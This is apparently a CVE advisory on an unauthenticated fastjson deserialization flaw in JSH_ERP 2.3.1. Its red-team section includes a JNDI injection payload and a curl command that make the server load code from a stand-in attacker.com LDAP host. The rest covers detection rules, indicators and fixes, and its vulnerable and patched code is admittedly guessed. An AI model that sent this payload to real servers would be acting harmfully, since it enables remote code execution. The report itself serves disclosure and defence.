CVE-2025-51744

Executive Summary

CVE-2025-51744 is a critical deserialization vulnerability in jishenghua JSH_ERP version 2.3.1. The /user/addUser endpoint is vulnerable to fastjson deserialization attacks, allowing an unauthenticated attacker to execute arbitrary code on the server. This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely. The vendor has not released a patch, and the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Java-based ERP application vulnerability.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, based on the nature of the vulnerability (unauthenticated remote code execution via deserialization), the actual severity is critical. A reasonable CVSS vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability in one component.
• Confidentiality (C): High (H) - Full data access possible.
• Integrity (I): High (H) - Full system modification possible.
• Availability (A): High (H) - Full system disruption possible.

Threat Level: Critical

Deep Dive & Mechanics

The vulnerability exists in the /user/addUser endpoint of JSH_ERP 2.3.1. This endpoint uses fastjson, a popular JSON library for Java, to deserialize user-supplied data. Fastjson is known to be vulnerable to deserialization attacks when not properly configured with a whitelist or when using auto-type.

The attack works by sending a specially crafted JSON payload to the /user/addUser endpoint. The payload contains a @type field that specifies a malicious class to be instantiated. When fastjson deserializes this payload, it instantiates the specified class, which can lead to remote code execution through various gadget chains (e.g., using templates, JNDI injection, or other common Java deserialization gadgets).

The specific endpoint is used for adding users, but the deserialization occurs before any authentication or authorization checks, making it accessible to unauthenticated attackers.

Vulnerable vs. Patched Code

Vulnerable Code (JSH_ERP 2.3.1):

The vulnerable code likely uses fastjson's JSON.parseObject() or JSON.parse() without a secure deserialization filter.

// Vulnerable: No filter or whitelist
@RequestMapping(value = "/user/addUser", method = RequestMethod.POST)
public Result addUser(@RequestBody String jsonData) {
    User user = JSON.parseObject(jsonData, User.class);
    // ... process user
}

Patched Code (Hypothetical):

A patched version would use a secure deserialization filter or switch to a safer library like Jackson with proper configuration.

// Patched: Using a whitelist filter
ParserConfig.getGlobalInstance().addAccept("com.jishenghua.entity.");
@RequestMapping(value = "/user/addUser", method = RequestMethod.POST)
public Result addUser(@RequestBody String jsonData) {
    User user = JSON.parseObject(jsonData, User.class);
    // ... process user
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• JSH_ERP 2.3.1 running on a target server
• Network access to the /user/addUser endpoint
• A Java deserialization gadget chain (e.g., CommonsCollections, JNDI)

Exploit Payload:

The following is a generic fastjson deserialization payload targeting JNDI injection. Replace attacker.com with your controlled server.

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
}

Exploit Steps:

1. Set up a malicious LDAP server that serves a Java class (e.g., using marshalsec).
2. Send the payload to the /user/addUser endpoint.

curl -X POST http://target.com/user/addUser \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}'

3. The server will connect to your LDAP server, download the malicious class, and execute it.

Blue Team

Detection:

• Monitor for unusual JSON payloads containing @type fields.
• Monitor for outbound LDAP/RMI connections from the application server.
• Monitor for unexpected class loading or JNDI lookups.

Honeypot:

• Deploy a fake /user/addUser endpoint that logs all incoming payloads.
• Use a sandboxed environment to analyze payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to known malicious LDAP/RMI servers (port 1389, 1099, etc.)
• HTTP POST requests to /user/addUser with JSON containing @type fields
• Unusual User-Agent strings in requests to the endpoint

File IOCs:

• Unexpected .class files in temporary directories
• Modified JAR files in the application's classpath
• New files in the web root (e.g., webshells)

Process IOCs:

• Java processes executing unexpected commands (e.g., Runtime.exec())
• Unusual network connections from the Java process

Detection Engineering

YARA Rule

rule CVE_2025_51744_Fastjson_Deserialization {
    meta:
        description = "Detects fastjson deserialization payloads targeting CVE-2025-51744"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51744"
    strings:
        $json_type = /"@type"\s*:\s*"[^"]*"/
        $jndi = /"dataSourceName"\s*:\s*"ldap:\/\/|"dataSourceName"\s*:\s*"rmi:\/\//
        $gadget = /"com\.sun\.rowset\.JdbcRowSetImpl"/
    condition:
        all of them
}

Sigma Rule

title: Fastjson Deserialization Attempt to /user/addUser
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects fastjson deserialization payloads in HTTP POST requests to /user/addUser
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/user/addUser'
        cs-content-type: 'application/json'
        cs-request-body|contains: '@type'
    condition: selection
falsepositives:
    - Legitimate use of @type in JSON (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51744 Fastjson Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/user/addUser"; http_uri; content:"@type"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network if possible.
2. Apply a WAF rule to block requests containing @type in JSON bodies.
3. Disable the /user/addUser endpoint if not required.

Long-term Fixes:

1. Upgrade to a patched version of JSH_ERP when available.
2. Implement a secure deserialization filter in fastjson:
   • Use ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
   • Use ParserConfig.getGlobalInstance().addAccept("com.yourpackage.");
3. Switch to a safer JSON library like Jackson with proper configuration.
4. Implement authentication on all sensitive endpoints.
5. Conduct a security audit of all deserialization points in the application.

Monitoring:

• Enable logging for all deserialization attempts.
• Monitor for outbound LDAP/RMI connections.
• Use runtime application self-protection (RASP) tools.

Report generated by Valters IT DevSecOps & CTI Division